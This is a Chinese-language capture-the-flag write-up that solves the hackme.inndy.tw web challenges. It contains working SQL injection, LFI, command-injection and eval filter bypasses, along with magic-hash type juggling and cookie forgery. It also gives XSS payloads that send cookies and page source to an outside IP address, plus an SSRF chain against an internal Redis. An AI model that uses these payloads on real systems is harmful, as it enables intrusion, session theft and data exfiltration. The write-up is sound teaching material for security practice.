Hackme Writeup
https://wywwzjj.top/2019/02/02/Hackme-Writeup/
hide and seek
Can you see me? I’m so close to you but you can’t see me.
这题查看源码即可。
guestbook
This guestbook sucks. sqlmap is your friend.
既然提示有 sqlmap
,或许可以一把梭。
先手注一波试试,发现没有任何过滤。
有四个字段,看一下显位。
https://hackme.inndy.tw/gb/?mod=read&id=0 union select 1,2,3,4
都有明显回显,直接上吧,盲注太慢。
拿到列名
查询所有数据
https://hackme.inndy.tw/gb/?mod=read&id=0 union select 1,2,3,group_concat(flag) from flag
LFI
What this admin’s password? That is not important at all, just get the flag. Tips: LFI,
php://filter
用到 PHP 伪协议:php://filter
php://filter/read=convert.base64-encode/resource=pages/login
// 得到 login.php
<?php
require('config.php');
if($_POST['user'] === 'admin' && md5($_POST['pass']) === 'bed128365216c019988915ed3add75fb') {
echo $flag;
} else {
?>
<form action="?page=pages/login" method="post" role="form">
<div class="form-group">
<label for="user-i">User</label>
<input type="text" class="form-control" id="user-i" placeholder="Username" name="user">
</div>
<div class="form-group">
<label for="pass-i">Password</label>
<input type="password" class="form-control" id="pass-i" placeholder="Password" name="pass">
</div>
<button type="submit" class="btn btn-primary">Login</button>
</form>
<?php } ?>
// 再看下 config.php,拿到 flag
$flag = "FLAG{Yoooooo_xsXSYP......}";
homepage
Where is the flag? Did you check the code?
提示查看源代码,发现了一个特别的 cute.js
。
嚝从㚁����= /嚚�嚚榅湛�㚁�� ~�????���???? //*織����*/ ['_']; o=(嚝�蔑嚝�) =_=3; c=(嚝巵矋��) =(嚝�蔑嚝�)-(嚝�蔑嚝�); (嚝氱䈑��) =(嚝巵矋��)= (o^_^o)/ (o^_^o);(嚝氱䈑��)={嚝巵矋��: '_' ,嚝从㚁���� : ((嚝从㚁����==3) +'_') [嚝巵矋�篏 ,嚝�蔑嚝��� :(嚝从㚁����+ '_')[o^_^o -(嚝巵矋��)] ,嚝氱䈑����:((嚝�蔑嚝�==3) +'_')[嚝�蔑嚝篏 }; (嚝氱䈑��) [嚝巵矋�篏 =((嚝从㚁����==3) +'_') [c^_^o];(嚝氱䈑��) ['c'] = ((嚝氱䈑��)+'_') [ (嚝�蔑嚝�)+(嚝�蔑嚝�)-(嚝巵矋��) ];(嚝氱䈑��) ['o'] = ((嚝氱䈑��)+'_') [嚝巵矋�篏;(嚝剠嚝�)=(嚝氱䈑��) ['c']+(嚝氱䈑��) ['o']+(嚝从㚁���� +'_')[嚝巵矋�篏+ ((嚝从㚁����==3) +'_') [嚝�蔑嚝篏 + ((嚝氱.......
别的师傅说是 aaencode
加密,我有点懵逼,以后再弄吧,这种题不值得多花时间。
ping
Can you ping 127.0.0.1?
看来是源码审计的题目,命令注入。
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<title>Ping</title>
</head>
<body>
<form action="." method="GET">
IP: <input type="text" name="ip"> <input type="submit" value="Ping">
</form>
<pre><?php
$blacklist = [
'flag', 'cat', 'nc', 'sh', 'cp', 'touch', 'mv', 'rm', 'ps', 'top', 'sleep', 'sed',
'apt', 'yum', 'curl', 'wget', 'perl', 'python', 'zip', 'tar', 'php', 'ruby', 'kill',
'passwd', 'shadow', 'root',
'z',
'dir', 'dd', 'df', 'du', 'free', 'tempfile', 'touch', 'tee', 'sha', 'x64', 'g',
'xargs', 'PATH',
'$0', 'proc',
'/', '&', '|', '>', '<', ';', '"', '\'', '\\', "\n"
];
set_time_limit(2);
function ping($ip) {
global $blacklist;
if(strlen($ip) > 15) {
return 'IP toooooo longgggggggggg';
} else {
foreach($blacklist as $keyword) {
if(strstr($ip, $keyword)) {
return "{$keyword} not allowed";
}
}
$ret = [];
exec("ping -c 1 \"{$ip}\" 2>&1", $ret);
return implode("\n", array_slice($ret, 0, 10));
}
}
if(!empty($_GET['ip']))
echo htmlentities(ping($_GET['ip']));
else
highlight_file(__FILE__);
?></pre>
</body>
</html>
发现 $
没有在黑名单内,还可以 ``
$(ls) / `ls`
ping: flag.php
index.php: Name or service not known
# cat 被过滤了,但有一堆可以查看文件内容的命令啊
tac 从最后一行开始显示,可以看出 tac 是 cat 的倒着写!
more 一页一页的显示档案内容
less 与 more 类似,但是比 more 更好的是,他可以往前翻页!
head 只看头几行
tail 只看尾巴几行
nl 显示的时候,顺道输出行号!
# 加个 * 模糊匹配一下
$(tac f*)
ping: $flag = 'FLAG{ping_$(capture-the-flag)_U.....}';
<?php: Name or service not known
scoreboard
DO NOT ATTACK or SCAN scoreboard, you don’t need to do that.
header
里发现了 x-flag
。
login as admin 0
SQL Injection!
题目直接给了源码,开始审计。
<?php
require('config.php');
// table schema
// user -> id, user, password, is_admin
function safe_filter($str) {
$strl = strtolower($str);
if (strstr($strl, 'or 1=1') || strstr($strl, 'drop') ||
strstr($strl, 'update') || strstr($strl, 'delete')
) {
return '';
}
return str_replace("'", "\\'", $str);
// \' => \\'
}
$_POST = array_map(safe_filter, $_POST);
$user = null;
// connect to database
if(!empty($_POST['name']) && !empty($_POST['password'])) {
$connection_string = sprintf('mysql:host=%s;dbname=%s;charset=utf8mb4', DB_HOST, DB_NAME);
$db = new PDO($connection_string, DB_USER, DB_PASS);
$sql = sprintf("SELECT * FROM `user` WHERE `user` = '%s' AND `password` = '%s'",
$_POST['name'],
$_POST['password']
);
try {
$query = $db->query($sql);
if($query) {
$user = $query->fetchObject();
} else {
$user = false;
}
} catch(Exception $e) {
$user = false;
}
}
<?php if(!$user): ?>
<?php if($user === false): ?>
<!-- debug: <?=$sql?> -->
<?php else: ?>
<h4><?=sprintf("You %s admin!", $user->is_admin ? "are" : "are not")?></h4>
<?php if($user->is_admin) printf("<code>%s</code>, %s", htmlentities($flag1), $where_is_flag2); ?>
<?php endif; ?>
看到 DB_HOST
这些参数还在想有没变量覆盖的洞,或许可连接自己的数据库, safe_filter
这并不能这样玩。
提示都说了是注入,还是老老实实 sqli
吧,简单的处理了一下 POST
数组,但是并不严格。
str_replace("'", "\\'", $str);
\' => \\' 即可绕过
既然加了 or 1
,正常就显示第一条,并不会只查 admin
用户,所以需要手动调下,否则看不到 flag
的噢。
name=666&password=\' union select 1,1,1,1#
直接就有了。
login as admin 0.1
Grab the hidden flag
从上一题中可以看到:flag2 in the database! 另外注意到有回显位,就不需要盲注了,然后就是常规套路了。
login as admin 1
Please login as admin.
Tips: SQL Injection butsqlmap
not working anymore.
Update: Source code is available now.
Scanner WON’T WORK
这题同样给了源码,与上一题大同小异,过滤稍微多点吧。
//require('WAF.php');
$ua = strtolower($_SERVER['HTTP_USER_AGENT']);
foreach($bad_ua as $bad) {
if(strstr($ua, $bad)) {
die("I don't like hackers. :(");
}
}
function safe_filter($str) {
$strl = strtolower($str);
if (strstr($strl, ' ') || strstr($strl, '1=1') || strstr($strl, "''") ||
strstr($strl, 'union select') || strstr($strl, 'select ')
) {
return '';
}
return str_replace("'", "\\'", $str);
}
$_POST = array_map(safe_filter, $_POST);
空格被过滤了,方法很多,这里以/**/
代替,然后故技重施。
login as admin 1.2
Get another flag
Tips: boolean-based SQL injection,information_schema
开始写脚本盲注,网络太慢了,以后搞。
login as admin 3
<?php
require('users_db.php'); // $users
function set_user($user_data) {
global $user, $secret;
$user = [$user_data['name'], $user_data['admin']];
$data = json_encode($user);
$sig = hash_hmac('sha512', $data, $secret);
$all = base64_encode(json_encode(['sig' => $sig, 'data' => $data]));
setcookie('user', $all, time()+3600);
}
$error = null;
function load_user() {
global $secret, $error;
if(empty($_COOKIE['user'])) {
return null;
}
$unserialized = json_decode(base64_decode($_COOKIE['user']), true);
// == 可能绕过
if(hash_hmac('sha512', $unserialized['data'], $secret) != $unserialized['sig']) {
$error = 'Invalid session';
return false;
}
$data = json_decode($unserialized['data'], true);
return [
'name' => $data[0],
'admin' => $data[1]
];
}
$user = load_user();
if(!empty($_POST['name']) && !empty($_POST['password'])) {
$user = false;
foreach($users as $u) {
if($u['name'] === $_POST['name'] && $u['password'] === $_POST['password']) {
set_user($u);
}
}
}
先用 guest
登录玩玩,cookie
中多了一个 user
的值。
eyJzaWciOiI3NWQ1M2Y5N2FjZDIxMTA5OGEwNTJiMzA1ZDFjYWYxOTE0MzZjNmQyOWQxOTM2ZDk0N2Y4ZmRlNzczMzAwOGEzOTY4ZWRhYTRiNGE2ODI0MmRiODY5NjAzMDUwNTI3MzkxNGRlZDY4OGQ0NTllOGM5MjI1MjAwZDcyOWEwYjk4ZSIsImRhdGEiOiJbXCJndWVzdFwiLGZhbHNlXSJ9
base64_decode =>
{"sig":"75d53f97acd211098a052b305d1caf191436c6d29d1936d947f8fde7733008a3968edaa4b4a68242db8696030505273914ded688d459e8c9225200d729a0b98e","data":"[\"guest\",false]"}
hmac
验证 data
是否被篡改,可惜用的是 !=
,将自动进行类型转换,我们将 sig
的值设为 0 即可。
{"sig":0,"data":"[\"1\",1]"} // 第二个值为 true 即可
base64_encode =>
eyJzaWciOjAsImRhdGEiOiJbXCIxXCIsMV0ifQ==
需要注意的是,这里 data 里的值也不能完全瞎弄,hash 结果如果以数字开头,则过不了,以字母开头才能过 if
login as admin 4
这一块有逻辑问题。
<?php if($_POST['name'] === 'admin'): /* login success! */ ?>
<div class="alert alert-success"><code><?=$flag?></code></div>
<?php else: ?>
login as admin 6
<?php
@error_reporting(E_ALL^E_NOTICE);
require('config.php');
$user = null;
if(!empty($_POST['data'])) {
try {
$data = json_decode($_POST['data'], true);
} catch (Exception $e) {
$data = [];
}
extract($data);
// 变量覆盖
if($users[$username] && strcmp($users[$username], $password) == 0) {
$user = $username;
}
}
<?php if(!$user && isset($_POST['data'])): ?>
<div class="alert alert-danger">Login failed</div>
<?php endif; ?>
<?php else: ?>
<h3>Hi, <?=htmlentities($username)?></h3>
<h4><?=sprintf("You %s admin!", $user == 'admin' ? "are" : "are not")?></h4>
<?php if($user == 'admin') printf("<code>%s</code>", htmlentities($flag)); ?>
<?php endif; ?>
看到 extract
基本上就是变量覆盖的洞了。
data={"user":"admin"}
login as admin 7
<?php
require('config.php');
if($_POST['name'] == 'admin' && md5($_POST['password']) == '00000000000000000000000000000000'){
// admin account is disabled by give a impossible md5 hash
$user = 'admin';
} elseif($_POST['name'] == 'guest' && md5($_POST['password']) == '084e0343a0486ff05530df6c705c8bb4') {
$user = 'guest';
} elseif(isset($_POST['name'])) {
$user = false;
}
弱类型比较 + 魔法哈希
var_dump('0e0' == '0000'); // true
QNKCDZO
0e830400451993494058024219903391
s155964671a
0e342768416822451524974117254469
s214587387a
0e848240448830537924465865611904
s878926199a
0e545993274517709034328855841020
s1091221200a
0e940624217856561557816327384675
s1885207154a
0e509367213418206700842008763514
s1836677006a
0e481036490867661113260034900752
s1184209335a
0e072485820392773389523109082030
s1665632922a
0e73119806149116307319712
s1502113478a
0e861580163291561247404381396064
s532378020a
0e220463095855511507588041205815
login as admin 8
给出的核心代码就这些,剩下的要靠自己慢慢找了。
<?php
require('config.php');
require('session.php');
// class Session { ... }
// sorry, no source code this time. :P
$session = Session::load();
$login_failed = false;
if($_GET['debug'] === '1') {
$session->debug();
}
if(isset($_POST['name'])) {
$login_failed = !Session::login($_POST['name'], $_POST['password']);
} else if(isset($_POST['logout'])) {
$session = new Session();
}
$session->save();
cookie
里有点东西,login8cookie
O%3A7%3A%22Session%22%3A6%3A%7Bs%3A14%3A%22%00Session%00debug%22%3Bb%3A0%3Bs%3A19%3A%22%00Session%00debug_dump%22%3Bs%3A9%3A%22index.php%22%3Bs%3A13%3A%22%00Session%00data%22%3Ba%3A0%3A%7B%7Ds%3A4%3A%22user%22%3Bs%3A0%3A%22%22%3Bs%3A4%3A%22pass%22%3Bs%3A0%3A%22%22%3Bs%3A8%3A%22is_admin%22%3Bb%3A0%3B%7D
login8sha512
4feb33685e47c83ce089b1707f270001a8dc0648d4a7d94d0a3e2f5b35803a7c8766285283415c8594e658468cf5e99be232b3bf98a441568a71f709243e9077
发现,sha512
的值直接是 cookie
的杂凑值,没有加密,没有加盐,同时改就 OK 了。
需要注意的是,不能 URL 解码后直接复制去 hash,这样会丢失一些不可见字符 %00
。
login as admin 8.1
login as admin and grab the hidden flag
注意到上面的 cookie
中还有 debug
选项。
import hashlib, urllib.parse
en = """O%3A7%3A%22Session%22%3A6%3A%7Bs%3A14%3A%22%00Session%00debug%22%3Bb%3A1%3Bs%3A19%3A%22%00Session%00debug_dump%22%3Bs%3A10%3A%22config.php%22%3Bs%3A13%3A%22%00Session%00data%22%3Ba%3A0%3A%7B%7Ds%3A4%3A%22user%22%3Bs%3A0%3A%22%22%3Bs%3A4%3A%22pass%22%3Bs%3A0%3A%22%22%3Bs%3A8%3A%22is_admin%22%3Bb%3A1%3B%7D"""
print(hashlib.sha512((urllib.parse.unquote(en)).encode()).hexdigest())
dafuq-manager 1
Login as guest and find flag 1
guest
登录看看,发现是一个文件管理系统,还给了源码。
dafuq-manager 2
Try to login as admin! and you will get flag2
先简单的审计一番,发现并没用到数据库,用户信息是用文件存储的。
<?php
$GLOBALS["users"] = array(
array(
"guest",
"084e0343a0486ff05530df6c705c8bb4",
"./data/guest",
"https://game1.security.ntu.st/data/guest",
0,
"^.ht",
1,
1
),
);
没数据库就不需要考虑 sqli
了,直接想办法读文件。
敏感函数大致在这,一个一个看下。
fun_down.php
// 判断文件是否存在
if (!get_is_file($dir, $item))
show_error($item . ": " . $GLOBALS["error_msg"]["fileexist"]);
if (!get_show_item($dir, $item))
show_error($item . ": " . $GLOBALS["error_msg"]["accessfile"]);
// 跟进 get_show_item
if ($item == "." || $item == "..") return false;
// 这个判断太弱了,不用管
if ($GLOBALS["show_hidden"] == false) { // show_hidden=1
$dirs = explode("/", $dir);
foreach ($dirs as $i) if (substr($i, 0, 1) == ".") return false;
}
// 形成完整路径
$abs_item = get_abs_item($dir, $item);
// 这里判断了是否有 .php / config,不太好过,再去看看其他点
if (!file_in_web($abs_item) || stristr($abs_item, '.php') || stristr($abs_item, 'config'))
show_error($item . ": " . $GLOBALS["error_msg"]["accessfile"]);
fun_edit.php
// 这里没了之前那个刺头
if (!get_is_file($dir, $item))
show_error($item . ": " . $GLOBALS["error_msg"]["fileexist"]);
if (!get_show_item($dir, $item))
show_error($item . ": " . $GLOBALS["error_msg"]["accessfile"]);
$fname = get_abs_item($dir, $item);
if (!file_in_web($fname))
show_error($GLOBALS["error_msg"]["accessfile"]);
可以先尝试读取 index.php
,确定好相对路径后再读这个配置文件。
用管理员账号登录即可看到 flag。
dafuq-manager 3
For flag3, you need a shell to get that. see $WEBROOT/flag3!
之前看源码的时候,留意到一个 debug
的地方,而且也扫出来了 eval
。
定位到 fun_debug.php
,也可以尝试下传个 webshell
上去。
function do_debug() {
assert(strlen($GLOBALS['secret_key']) > 40);
$dir = $GLOBALS['__GET']['dir'];
// 传个数组过了
if (strcmp($dir, "magically") || strcmp($dir, "hacker") || strcmp($dir, "admin")) {
show_error('You are not hacky enough :(');
}
list($cmd, $hmac) = explode('.', $GLOBALS['__GET']['command'], 2);
$cmd = base64_decode($cmd);
$bad_things = array('system', 'exec', 'popen', 'pcntl_exec', 'proc_open', 'passthru', '`', 'eval', 'assert', 'preg_replace', 'create_function', 'include', 'require', 'curl',);
foreach ($bad_things as $bad) {
if (stristr($cmd, $bad)) { // 过滤太弱了
die('2bad');
}
}
if (hash_equals(hash_hmac('sha256', $cmd, $GLOBALS["secret_key"]), $hmac)) {
die(eval($cmd));
} else {
show_error('What does the fox say?');
}
}
然后就是命令注入的套路了,咱们弹个 shell
玩玩。 如何远程利用PHP绕过Filter以及WAF规则
弹了半天没弹出来,估计做了什么设置,还是老老实实读文件吧。
function make_command($cmd) {
$hmac = hash_hmac('sha256', $cmd, 'KHomg4WfVeJNj9q5HFcWr5kc8XzE4PyzB8brEw6pQQyzmIZuRBbwDU7UE6jYjPm3');
return sprintf('%s.%s', base64_encode($cmd), $hmac);
}
echo make_command('$a=\'syste\';$b=\'m\';$a.=$b;$a(\'ls -al\');');
发现 flag3
这个目录,看看里面有啥东西。
root
才能读 flag3
,有点提权的味道了。先看看 meow.c
#include <stdio.h>
#include <sys/stat.h>
#include <sys/types.h>
#include <unistd.h>
#include <fcntl.h>
int main(int argc, char *argv[]) {
const char *exec = argv[0];
const char *flag = argv[1];
char buffer[4096];
if(argc < 2) {
printf("Usage: %s flag\n", argv[0]);
puts("We have cat to read file, And the meow to cat flag.");
return 0;
}
struct stat S;
if(stat(exec, &S) != 0) {
printf("Can not stat file %s\n", exec);
return 1;
}
uid_t uid = S.st_uid;
gid_t gid = S.st_gid;
setuid(uid);
seteuid(uid);
setgid(gid);
setegid(gid);
int fd = open(flag, O_RDONLY);
if(fd == -1) {
printf("Can not open file %s\n", flag);
return 2;
}
ssize_t readed = read(fd, buffer, sizeof(buffer) - 1);
if(readed > 0) {
write(1, buffer, readed);
}
close(fd);
}
那就用这个程序读 flag
吧。
echo make_command('$a=\'syste\';$b=\'m\';$a.=$b;$a(\'./flag3/meow ./flag3/flag3\');');
webshell
这题挂掉了,修复了再做。
command-executor
单独写 wp
xssme
XSS admin to steal flag
都强调了 xss
,那就是打管理员 cookie
了。
不过还是扫一遍目录看看,以防丢失重要信息。
一登录进来就发现是个邮箱管理界面,而且admin
已经发了封欢迎邮件过来。
接下来就是给 admin
发封邮件,插入咱们的 js
payload,把 cookie
偷过来。
这里有个很有趣的点,可以自己给自己发邮件,这样就完全不用怀疑 bot
会出故障,自己打自己成功了再去打管理员是一个更好的选择。
题目很友好,直接提示了哪些字符不能用,而且显示了管理员是否阅读了该邮件。
简单尝试了一下,以下字符被过滤:
<script
)
onmouseover
空格onload
空格onerror
<iframe
但还有个常用的:
<svg onload=alert(1);>
<svg/onload=alert(1)>
<svg/onload=prompt(1)
<svg/onload="javascript:alert(1)">
构造 payload
<svg/onload="javascript:document.location='http://47.101.220.241:9999?cookie='+document.cookie">
或者将 "" 内的内容 HTML 实体编码下
<svg/onload="javascript:document.location.href=('http://47.101.220.241:9999?cookie='+document.cookie)">
如果没发现上面一些过滤是包含空格一起检测的,将失去大量合适 payload
<img src=""onerror="alert(1)">
使用 xss 平台接收一下请求,或者直接用 nc 监听。
xssrf leak
Steal flag from source code file
提示是 flag 在源码里面,那我们先读一下页面的源代码看看。
<svg/onload="javascript:document.location='http://47.101.220.241:9999?cookie='+btoa(document.body.innerHTML)">
发现 innerHTML 被过滤,那就 HTML 编码一下
<svg/onload="javascript:document.location='http://47.101.220.241:9999?cookie='+btoa(document.body.innerHTML)">
拿到 HTML,有点残缺,自己改下标签。
<nav class="navbar navbar-expand-lg navbar-dark bg-dark d-flex">
<a class="navbar-brand" href="index.php">XSSRF</a>
<ul class="navbar-nav">
<li class="nav-itebSI
<a class=" nav-link" href="sendmail.php">Send Mail<L2E </li> <li class="nav-itebSI
<a class=" nav-link" href="mailbox.php">Mailbox<L2E </li> <li class="nav-itebSI
<a class=" nav-link" href="sentmail.php">Sent Mail<L2E </li> <li class="nav-itebSI
<a class=" nav-link" href="setadmin.php">Set Admin<L2E </li> <li class="nav-itebSI
<a class=" nav-link" href="request.php">Send Request</a>
</bGk </ul> <ul class="navbar-nav ml-auto">
<li class="nav-itebSI
<span class=" navbar-texdCI Hello, admin (Administrator)</span> </bGk <li class="nav-item">
<a class="nav-link" href="logout.php">Logout<L2E </li> </dWw </nav> <div class="containeciI
<div class=" card text-white bg-darayI <div class="card-body">
<h2 class="card-titlZSI
4 </h2>
<h4>From: <a href=" sendmail.php?to=jj">jj</a></aDQ <div class="card-text"><svg οnlοad="javascript:document.location='http://47.101.220.241:9999?cookie='+btoa(document.body.innerHTMLKSI </sdmc </daXY
</daXY
</div>
</daXY
发现有个 request.php
,无法直接访问,需要 admin
。
想办法让真正的 admin
去访问一下,然后把相应的结果返回给我们。
既然都可以执行 js
代码了,那直接构造一个 Ajax
请求,这里用的是原生的 Ajax
。
<svg/οnlοad="
var x=new XMLHttpRequest();
x.onreadystatechange=function() {
if (x.readyState==4 && x.status==200) {
document.location='http://47.101.220.241:9999/?code='+btoa(x.responseText);
}
}
x.open("GET","request.php",true);
x.setRequestHeader("Content-type","application/x-www-form-urlencoded");
x.send();
">
得到 request.php
访问接口
<form action="/request.php" method="POST">
<textarea name="url"></textarea>
</form>
有用的只有这一部分,传的参数是url
,有没可能是文件包含呢?用 file://
协议试试。
<svg/οnlοad="
var x=new XMLHttpRequest();
x.onreadystatechange=function() {
if (x.readyState==4 && x.status==200) {
document.location='http://47.101.220.241:9999/?code='+btoa(x.responseText);
}
}
x.open("POST","request.php",true);
x.setRequestHeader("Content-type","application/x-www-form-urlencoded");
x.send("url=file:///var/www/html/config.php");
">
成功拿到 flag
,并提示我们下一个 flag
在 Redis 里。
xssrf redis
Steal flag from redis
有了上一题的 ssrf
,打内网 redis 也是水到渠成了。
先看一下之前的 request.php
源码。
<?php
require('common.php');
admin_required();
$msg = [];
$url = '';
$result = '';
if(isset($_POST['url'])) {
$url = $_POST['url'];
$result = shell_exec('curl -m 1 --connect-timeout 1 -s ' . escapeshellarg($url));
}
构造 payload 打下 Redis
gopher://127.0.0.1:25566/_info
<svg/onload="
var x=new XMLHttpRequest();
x.onreadystatechange=function() {
if (x.readyState==4 && x.status==200) {
document.location='http://47.101.220.241:9001/?code='+btoa(x.responseText);
}
}
x.open("POST","request.php",true);
x.setRequestHeader("Content-type","application/x-www-form-urlencoded");
x.send("url=gopher://127.0.0.1:25566/_info");
">
成功打到回显,看来就是未授权打 redis 了,其他的就是老套路了,具体利用方式见 博客。